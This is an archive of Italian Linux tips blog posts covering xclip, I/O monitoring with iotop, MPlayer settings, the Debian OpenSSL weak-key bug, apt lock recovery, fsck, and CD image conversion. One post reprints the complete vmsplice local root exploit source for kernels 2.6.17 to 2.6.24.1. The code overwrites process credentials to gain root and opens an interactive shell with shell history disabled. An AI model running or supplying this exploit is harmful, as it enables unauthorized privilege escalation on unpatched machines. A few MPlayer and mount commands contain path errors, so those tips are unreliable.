Category Archives: kubuntu

Come copiare testo da terminale agli appunti di X

A volte è necessario o comodo copiare del testo dal terminale agli appunti (clipboard) di X – ad esempio per incollare il testo su una chat o forum con un semplice CTRL+V. Si può fare facilmente con il programma xclip. Per installarlo su Debian, Ubuntu e derivate, bisogna eseguire:

sudo aptitude install xclip

Il suo utilizzo e molto semplice: basta mandare in pipe a xclip il testo che si desidera. Ad esempio per copiare le informazioni relative a dhclient presenti nei log, si può eseguire:

grep dhclient /var/log/syslog | xclip -selection c

In questo modo tutte le linee in /var/log/syslog contenenti dhclient vengono copiate negli appunti e possono essere incollate con CTRL+V.

Chi sta accedendo al disco? Monitorare l’uso dell’I/O.

HardDisk icon by everaldo.com Una feature molto comoda del task manager di Windows è quella che permette di visualizzare quali processi stanno scrivendo su disco e in quale misura. È possibile ottenere queste informazioni anche su Linux. Un metodo rapido per ottenere un’informazione del genere è eseguire da root:

echo 1 > /proc/sys/vm/block_dump

Eseguendo dmesg sarà possibile avere un colpo d’occhio di quali processi stiano effettuando burst di scritture, con un output simile a questo:

[  409.805443] firefox-bin(4288): WRITE block 25335048 on sda7
[  409.805468] firefox-bin(4288): WRITE block 25335112 on sda7
[  409.805493] firefox-bin(4288): WRITE block 25335136 on sda7
[  409.805520] firefox-bin(4288): WRITE block 25335176 on sda7
[  409.805589] kjournald2(729): WRITE block 17053608 on sda7
[  409.805608] kjournald2(729): WRITE block 17053616 on sda7
[  409.805620] kjournald2(729): WRITE block 17053624 on sda7
[  409.805631] kjournald2(729): WRITE block 17053632 on sda7
[  409.805642] kjournald2(729): WRITE block 17053640 on sda7
[  409.810454] kjournald2(729): WRITE block 17053648 on sda7
[  409.963898] firefox-bin(4288): dirtied inode 3198 (places.sqlite-journal) on sda7
[  410.004105] pdflush(23): WRITE block 16922864 on sda7
[  410.004257] pdflush(23): dirtied inode 10220 (plasma_theme_default.data) on sda7
[  410.004291] pdflush(23): WRITE block 36789872 on sda7
[  410.004310] pdflush(23): WRITE block 36789880 on sda7

Piccola nota: pdflush è il demone che si occupa di scrivere su disco le scritture rinviate dal kernel per motivi di performance, kjournald(2) si occupa di mantenere aggiornato il journal del filesystem ed è normale che siano spesso presenti. Questo output tuttavia non è di comoda lettura. Una alternativa è data dal software iotop, installabile con Synaptic, aptitude o il packet manager della distribuzione che preferite. Avviandolo con:

iotop -o

Si otterrà un output di questo tipo:
che mostra i quattro processi che hanno effettuato operazioni di I/O nel periodo di campionamento. In questo caso sono il già citato pdflush e wget che hanno effettuato delle scritture, mentre svn ha effettuato una lettura.

Le colonne di iotop mostrano nell’ordine:

  • il PID del processo;
  • la velocità di lettura nel periodo di campionamento (di default 1 secondo);
  • la velocità di scrittura nel periodo di campionamento;
  • il tempo impiegato per lo swapping;
  • il tempo atteso per l’accesso all’I/O;
  • il nome del processo e i suoi argomenti.

Il manuale di iotop indica gli switch utili per un uso più mirato di questo ottimo strumento.

Pimp My MPlayer

MPlayer è il player per video che uso di più in assoluto. Non è amichevole come Kaffeine o VLC, ma fa benissimo il suo lavoro. Martin Ankerl ha pubblicato sul suo blog un po’ di trucchi per personalizzare MPlayer. Riporto qui quelli che ho trovato più interessanti:

Evitare i salti

Se la CPU è sotto sforzo, il video di MPlayer potrebbe non essere fluido. La situazione è segnalata da questo messaggio:

Linux RTC init error in ioctl (rtc_irqp_set 1024): Permission denied
Try adding "echo 1024 > /proc/sys/dev/rtc/max-user-freq" to your system startup scripts.

Per risolvere il problema si può eseguire da una console di root (ottenuta con sudo -i su Ubuntu e derivate o con su su altre distribuzioni):

echo 1024 > /proc/sys/dev/rtc/max-user-freq

o, per mantenere permanentemente l’impostazione, modificate il file /etc/sysctl.conf e aggiungete questa riga:

dev.rtc.max-user-freq=1024

dopodiché eseguite:

sudo sysctl -p

o riavviate per usare le nuove impostazioni.

Streaming fluido

Guardando video in streaming o da DVD può capitare che il playback salti. Per rimediare si può istruire MPlayer affinché mantenga una cache più grande per il buffering. Modificate il file ~/.mplayer/config e aggiungete le seguenti righe:

cache=8192
cache-min=4

La prima riga specifica un buffer di 8MiB, la seconda indica a MPlayer che il buffer deve essere pieno almeno al 4% (circa 327KiB) prima di eseguire la riproduzione dello stream audio/video.

Output video

Usate xv come output video, è quello che permette una visualizzazione a schermo più veloce. Per farlo aggiungete al file ~/.mplayer/config:

vo=xv

Se non dovesse funzionare provate vo=gl2 oppure, se avete una scheda ATI con driver proprietari fglrx, fate riferimento a questo mio post: Problemi con MPlayer e ATI.

Aspect ratio

Se avete un monitor 16:10 aggiungete al solito file di configurazione la riga

monitoraspect=16:10

anche se in genere non dovrebbe essercene bisogno e MPlayer dovrebbe individuare correttamente l’aspect ratio del monitor.

Volume troppo alto o troppo basso

Si può fare in modo che MPlayer normalizzi il volume dello stream audio, utile quando la traccia è troppo bassa o troppo alta. Per farlo aggiungere a ~/.mplayer/config la riga:

af=volnorm

Font dei sottotitoli

Per cambiare il font dei sottotitoli, copiate il file .ttf del font che desiderate in ~/.mplayer/subfont.ttf. Ad esempio per usare DejaVu Sans eseguite:

cp /usr/share/fonts/truetype/ttf-dejavu/DejaVuSans.ttf ~/.mplayer/config

Dimensione dei sottotitoli

Per cambiare la dimensione dei sottotitoli modificate ~/.mplayer/subfont.ttf aggiungendo:

subfont-text-scale=3

Provate valori diversi per trovare l’impostazione più di vostro gusto.

Tasti rapidi

Per l’uso comune:

  • f: attiva/disattiva la modalità fullscreen
  • ESC,q: termina MPlayer
  • barra spaziatrice,p: mette in pausa/riattiva il playback
  • j: cicla tra i sottotitoli
  • o: mostra/nasconde l’OSD (On Screen Display) con la posizione corrente
  • +,-: anticipa/ritarda lo stream audio rispetto al video, utile nei filmati con audio non in sync
  • [,]: diminuisce/aumenta la velocità di playback

Per spostarsi nello stream:

  • sinistra: indietro di 10 secondi
  • destra: avanti di 10 secondi
  • su: avanti di un minuto
  • giù: indietro di un minuto
  • PgUp (o Pag Su): avanti di 10 minuti
  • PgDn (o Pag Giù): indietro di 10 minuti
  • .: avanti di un frame (p per tornare al playback normale)

Chiavi OpenSSL deboli per Debian e derivate

Qualche giorno fa il bollettino di sicurezza di Debian dsa-1571 ha pubblicato un bug scoperto da Luciano Bello. Per evitare che i programmi che utilizzano OpenSSL venissero riportati come buggati da Valgrind, i packager di Debian hanno rimosso una istruzione dal codice di md_rand.c, con il risultato di inficiare pesantemente sul seeding del PRNG che genera le chiavi asimmetriche.

LA conseguenza è che data una certa dimensione di chiave OpenSSL non riesce a generare tutte le chiavi possibili, ma solo una tra 32768. Questo vuol dire che i server amministrabili via SSH sono suscettibili agli attacchi brute force anche se autorizzano l’accesso solo con chiavi asimmetriche (metodo storicamente considerato più robusto di semplici passphrase).

Le chiavi generate tra Settembre 2006 e il 13 Maggio 2008 sono da considerarsi vulnerabili e devono essere rigenerate. Sono deboli le chiavi SSH, OpenVPN, DNSSEC, le chiavi nei certificati X.50 e le chiavi di sessione in connessioni SSL/TLS.

H. D. Moore (il creatore di Metasploit) ha scritto un ottima panoramica tecnica sull’argomento: http://metasploit.com/users/hdm/tools/debian-openssl/.

Look nativo su Skype

La versione per Linux di Skype è costruita sul toolkit Qt, per cui si integra particolarmente bene nel look & feel di KDE. Skype però forza il tema “cleanlooks”, mentre le versioni più recenti di Kubuntu usano il tema Plastic (su KDE 3.5.9) o Oxygen (su KDE 4), per cui l’aspetto finale “stona” un po’ con il tema di default. Per fortuna si può costringere Skype a utilizzare il look & feel predefinito del sistema. Per farlo è sufficiente lanciarlo aggiungendo lo switch --disable-cleanlooks:

skype --disable-cleanlooks

L’aspetto di Skype su KDE4 è quello che potete vedere nello screenshot qui sotto.

Quick tip: sbloccare il database di apt dopo un crash

package icon by everaldo.comÈ possibile che un’interfaccia grafica per apt come Synaptic o Adept crashi durante l’installazione di pacchetti. Questo lascia il database di apt in uno stato inconsistente. Il messaggio di errore rivelatore del problema è questo:

E: Could not get lock /var/lib/dpkg/lock - open (11 Resource temporarily unavailable)
E: Unable to lock the administration directory (/var/lib/dpkg/), is another process using it?

Che nella versione in italiano è tradotto come:

E: Impossibile ottenere il lock /var/lib/apt/lists/lock - open (11 Risorsa temporaneamente non disponibile) E: Impossibile creare un lock sulla directory di list

Per risolvere questo problema in genere è sufficiente eseguire in un terminale:

sudo fuser -vki /var/lib/dpkg/lock;sudo dpkg --configure -a

Quick tip: forzare l’esecuzione di fsck al riavvio.

HardDisk icon by everaldo.com Di default (K)Ubuntu esegue un controllo del filesystem con fsck ogni 27 volte che viene montato, oppure ogni 3 mesi, qualunque sia il limite raggiunto prima. Ogni tanto però si può voler forzare un controllo del filesystem al riavvio. Per farlo su (K)Ubuntu eseguite questo comando:

sudo touch /forcefsck

Sì, tutto qui. Al riavvio verrà eseguito fsck. Su alcuni sistemi (ma non ad esempio su Ubuntu dalla versione 6.10 Edgy Eft in poi) si può invece usare questo comando:

sudo shutdown -rF now

Che riavvierà il computer e forzerà l’esecuzione di fsck. (Il motivo tecnico per cui non è applicabile alle release recenti di Ubuntu è che dalla 6.10 il sistema di init è passato da sysvinit a upstart, che attualmente non supporta l’utilizzo di shutdown -rF)

Kernel 2.6.24.1 vulnerabile a vmsplice local exploit.

Il kernel di Linux fino alla versione 2.6.24.1 è vulnerabile a un exploit locale che permette a un utente normale di ottenere i privilegi di root. Il codice dell’exploit è il seguente:

/*
 * Linux vmsplice Local Root Exploit
 * By qaaz
 *
 * Linux 2.6.17 - 2.6.24.1
 *
 * (compile fixed by nenolod.)
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>

#define PIPE_BUFFERS	16
#define PG_compound	14
#define uint		unsigned int
#define static_inline	static inline __attribute__((always_inline))
#define STACK(x)	(x + sizeof(x) - 40)

struct page {
	unsigned long flags;
	int count;
	int mapcount;
	unsigned long private;
	void *mapping;
	unsigned long index;
	struct { long next, prev; } lru;
};

void	exit_code();
char	exit_stack[1024 * 1024];

void	die(char *msg, int err)
{
	printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
	fflush(stdout);
	fflush(stderr);
	exit(1);
}

#if defined (__i386__)

#ifndef __NR_vmsplice
#define __NR_vmsplice	316
#endif

#define USER_CS		0x73
#define USER_SS		0x7b
#define USER_FL		0x246

static_inline
void	exit_kernel()
{
	__asm__ __volatile__ (
	"movl %0, 0x10(%%esp) ;"
	"movl %1, 0x0c(%%esp) ;"
	"movl %2, 0x08(%%esp) ;"
	"movl %3, 0x04(%%esp) ;"
	"movl %4, 0x00(%%esp) ;"
	"iret"
	: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
	    "i" (USER_CS), "r" (exit_code)
	);
}

static_inline
void *	get_current()
{
	unsigned long curr;
	__asm__ __volatile__ (
	"movl %%esp, %%eax ;"
	"andl %1, %%eax ;"
	"movl (%%eax), %0"
	: "=r" (curr)
	: "i" (~8191)
	);
	return (void *) curr;
}

#elif defined (__x86_64__)

#ifndef __NR_vmsplice
#define __NR_vmsplice	278
#endif

#define USER_CS		0x23
#define USER_SS		0x2b
#define USER_FL		0x246

static_inline
void	exit_kernel()
{
	__asm__ __volatile__ (
	"swapgs ;"
	"movq %0, 0x20(%%rsp) ;"
	"movq %1, 0x18(%%rsp) ;"
	"movq %2, 0x10(%%rsp) ;"
	"movq %3, 0x08(%%rsp) ;"
	"movq %4, 0x00(%%rsp) ;"
	"iretq"
	: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
	    "i" (USER_CS), "r" (exit_code)
	);
}

static_inline
void *	get_current()
{
	unsigned long curr;
	__asm__ __volatile__ (
	"movq %%gs:(0), %0"
	: "=r" (curr)
	);
	return (void *) curr;
}

#else
#error "unsupported arch"
#endif

#if defined (_syscall4)
#define __NR__vmsplice	__NR_vmsplice
_syscall4(
	long, _vmsplice,
	int, fd,
	struct iovec *, iov,
	unsigned long, nr_segs,
	unsigned int, flags)

#else
#define _vmsplice(fd,io,nr,fl)	syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif

static uint uid, gid;

void	kernel_code()
{
	int	i;
	uint	*p = get_current();

	for (i = 0; i < 1024-13; i++) {
		if (p[0] == uid && p[1] == uid &&
		    p[2] == uid && p[3] == uid &&
		    p[4] == gid && p[5] == gid &&
		    p[6] == gid && p[7] == gid) {
			p[0] = p[1] = p[2] = p[3] = 0;
			p[4] = p[5] = p[6] = p[7] = 0;
			p = (uint * ) ((char *)(p + 8 ) + sizeof(void *));
			p[0] = p[1] = p[2] = ~0;
			break;
		}
		p++;
	}	

	exit_kernel();
}

void	exit_code()
{
	if (getuid() != 0)
		die("wtf", 0);

	printf("[+] root\n");
	putenv("HISTFILE=/dev/null");
	execl("/bin/bash", "bash", "-i", NULL);
	die("/bin/bash", errno);
}

int	main(int argc, char *argv[])
{
	int		pi[2];
	size_t		map_size;
	char *		map_addr;
	struct iovec	iov;
	struct page *	pages[5];

	uid = getuid();
	gid = getgid();
	setresuid(uid, uid, uid);
	setresgid(gid, gid, gid);

	printf("-----------------------------------\n");
	printf(" Linux vmsplice Local Root Exploit\n");
	printf(" By qaaz\n");
	printf("-----------------------------------\n");

	if (!uid || !gid)
		die("!@#$", 0);

	/*****/
	pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
	pages[1] = pages[0] + 1;

	map_size = PAGE_SIZE;
	map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
	                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);

	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
	printf("[+] page: 0x%lx\n", pages[0]);
	printf("[+] page: 0x%lx\n", pages[1]);

	pages[0]->flags    = 1 << PG_compound;
	pages[0]->private  = (unsigned long) pages[0];
	pages[0]->count    = 1;
	pages[1]->lru.next = (long) kernel_code;

	/*****/
	pages[2] = *(void **) pages[0];
	pages[3] = pages[2] + 1;

	map_size = PAGE_SIZE;
	map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
	                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);

	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
	printf("[+] page: 0x%lx\n", pages[2]);
	printf("[+] page: 0x%lx\n", pages[3]);

	pages[2]->flags    = 1 << PG_compound;
	pages[2]->private  = (unsigned long) pages[2];
	pages[2]->count    = 1;
	pages[3]->lru.next = (long) kernel_code;

	/*****/
	pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
	map_size = PAGE_SIZE;
	map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
	                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);
	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
	printf("[+] page: 0x%lx\n", pages[4]);

	/*****/
	map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
	map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
	                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);

	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

	/*****/
	map_size -= 2 * PAGE_SIZE;
	if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
		die("munmap", errno);

	/*****/
	if (pipe(pi) < 0) die("pipe", errno);
	close(pi[0]);

	iov.iov_base = map_addr;
	iov.iov_len  = ULONG_MAX;

	signal(SIGPIPE, exit_code);
	_vmsplice(pi[1], &iov, 1, 0);
	die("vmsplice", errno);
	return 0;
}

// milw0rm.com [2008-02-09]

La prima versione non vulnerabile è la 2.6.24-git20, il che vuol dire che tutte le versioni di (K)Ubuntu sono vulnerabili, inclusa l’LTS 6.06 Dapper Drake e Gutsy Gibbon 7.10. Ci si aspetta a giorni un update che elimini questo pericoloso bug.

Convertire le immagini CCD/IMG/SUB in ISO

Non ho fatto in tempo a scrivere il post precedente quando è saltato fuori che l’immagine che dovevo montare non era .cue/.bin ma .ccd/.img/.sub , il formato utilizzato da CloneCD. Per convertire l’immagine in .iso ci viene in soccorso il programma ccd2iso, che potete scaricare da qui: http://downloads.sourceforge.net/ccd2iso/ccd2iso-0.3.tar.gz.

Installate il compilatore e le librerie eseguendo:

sudo aptitude install build-essential

Scompattate il file appena scaricato, eseguite il configure, compilatelo e installatelo:

tar xvf ccd2iso-0.3.tar.gz
cd ccd2iso-0.3
./configure
make
sudo make install

Adesso potrete usare il comand ccd2iso. Per convertire l’immagine image.img in .iso eseguite:

ccd2iso image.img image.iso

Dopo un po’ l’immagine image.iso sarà pronta, e potrete montarla (supponendo che la cartella /mnt/virtcd esista già):

sudo mount -t iso9660 -o loop image.iso /mount/virtcd

Montare immagini CD .bin/.cue su Linux

Oggi avevo bisogno di montare su Kubuntu l’immagine di un cd. Purtroppo l’immagine non era nel classico formato .iso, ma in formato .bin con allegato .cue. Non avendo voglia di installare cdemu o AcetoneISO, mi sono attrezzato per convertire l’immagine .bin/.cue in una più classica .iso. Il programma in questione è bchunk, un vecchio programma che fa ancora egregiamente il suo lavoro. Per installarlo (su Ubuntu, Kubuntu e tutte le derivate Debian) eseguite:

sudo aptitude install bchunk

per le altre distribuzioni (Mandriva, Fedora, Gentoo) usate i tool più opportuni (yum, emerge, …).
Supponendo di voler convertire i file image.bin e image.cue in image.iso, eseguite questo comando:

bchunk image.bin image.cue image.iso

e così verrà creata l’immagine iso equivalente. Per montare l’immagine ad esempio nella cartella /mount/virtcd (che deve già esistere) eseguite:

sudo mount -t iso9660 -o loop image.iso /mount/virtcd

L’iso sarà montata e utilizzabile come una normale cartella.